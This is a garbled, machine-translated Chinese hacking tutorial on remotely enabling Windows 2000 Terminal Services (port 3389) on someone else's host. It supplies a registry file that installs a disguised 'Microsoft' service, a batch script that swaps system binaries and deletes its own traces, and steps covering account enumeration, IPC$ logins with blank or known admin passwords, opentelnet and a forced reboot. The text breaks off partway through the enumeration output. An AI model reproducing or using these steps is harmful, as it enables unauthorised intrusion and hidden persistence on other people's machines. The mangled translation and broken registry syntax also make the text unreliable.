远程启动终端服务最简单的方法（国外英文资料）.docVIP

远程启动终端服务最简单的方法（国外英文资料） 3389年首先我们制作开启的工具 先把下面的注册表内容副本一份,另存为3389. reg注册表文件 注册表内容: Windows注册表编辑器版本5 微软软件\[HKEY_LOCAL_MACHINE \ \ Windows \ CurrentVersion \ netcache] “启用”=“0” 微软软件\[HKEY_LOCAL_MACHINE \ \ Windows NT \ CurrentVersion \程序) “ShutdownWithoutLogon”=“0” 微软软件\政策\[HKEY_LOCAL_MACHINE \ \ Windows \安装程序) “EnableAdminTSRemote”= dword[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ \控制终端服务器) “TSEnabled”= dword[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ \ TermDD]服务 “开始”= dword[HKEY_USERS \。默认\键盘布局\切换) “热键”=“1” [HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ \ SecuService]服务 “开始”= dword“ErrorControl”= dword“ImagePath”=十六进制(2):25日00,53岁,00,79,00,73,00,74,00,65,00,6 d,00,52岁,00,6 f,00,6 f,00,\ 00 74,00,25日,5 c,00,53岁,00,79,00,73,00,74,00,65,00,6 d,00,33岁的00,32岁,00,5 c,00,65年,\ 00 00 00,76年,76年,6 e,00,74,00,6 c,00,6 f,00,67,00,2 e,00,65,00,78,00,65,00,00 00 “对象名”=“LocalSystem” “类型”= dword“描述”=“微软” “DisplayName”=“微软” 再把下面的内容保存为批处理文件3389.蝙蝠 安装批处理内容: termsrv副本。exe eventlog.exe 注册表编辑器。exe reg 3389. / s 德尔reg 3389. 德尔3389. exe 德尔3389.蝙蝠 用解压缩的软件制作成exe自解压缩包 61.188。* * *。* * *用户:administrato传递:空 先使用工具letmein判这样断其操作系统 letmein \ \这样ip - - d TsInternetUser(TsInternetUser)这个是2000的终端用户,现在可以判断其为2000服务器了 再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾 应该没有开启了 建立ipc连接 复制工具过去 使用\ \ ip \ ipc $ pass / user:name 复制文件\ \ ip \ admin \ system32系统 用opentelnet开对方的telnet opentelnet \ \ ip名传1 99 用telnet进入 进入到对方的winnt \ system32系统\ 目录 解压缩3389. exe 运行安装批处理3389.蝙蝠 现在我们把对方重起一下,用重新启动 我们用平命令监视他的上线情况,等他下线,呵呵下了,又上来了,不慌,连3389等会才能好,对方的机器有点慢 看见了么,开启成功! 现在开始。 假设我们拿到了一个主机的管理员帐户和密码。 主机:192.168.0.1 帐号:管理员 密码:7788 2000系统安装在c:\ winnt下 从上面的的介绍可以知道,2000年专业版是不可以远程安装终端服务的,那我们就要首先来 判断此主机是专业版还是服务器版,才能进入下一个环节。 我们可以先用对方所开帐户判断: c:\ letmein \ \这样192.168.0.1 - - d 声明连接到服务器… 服务器本地时间是:2002-1-13 10:19:22 Start get all users form server... -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- Total = 5 -- -- -- -- -- -- -- -- --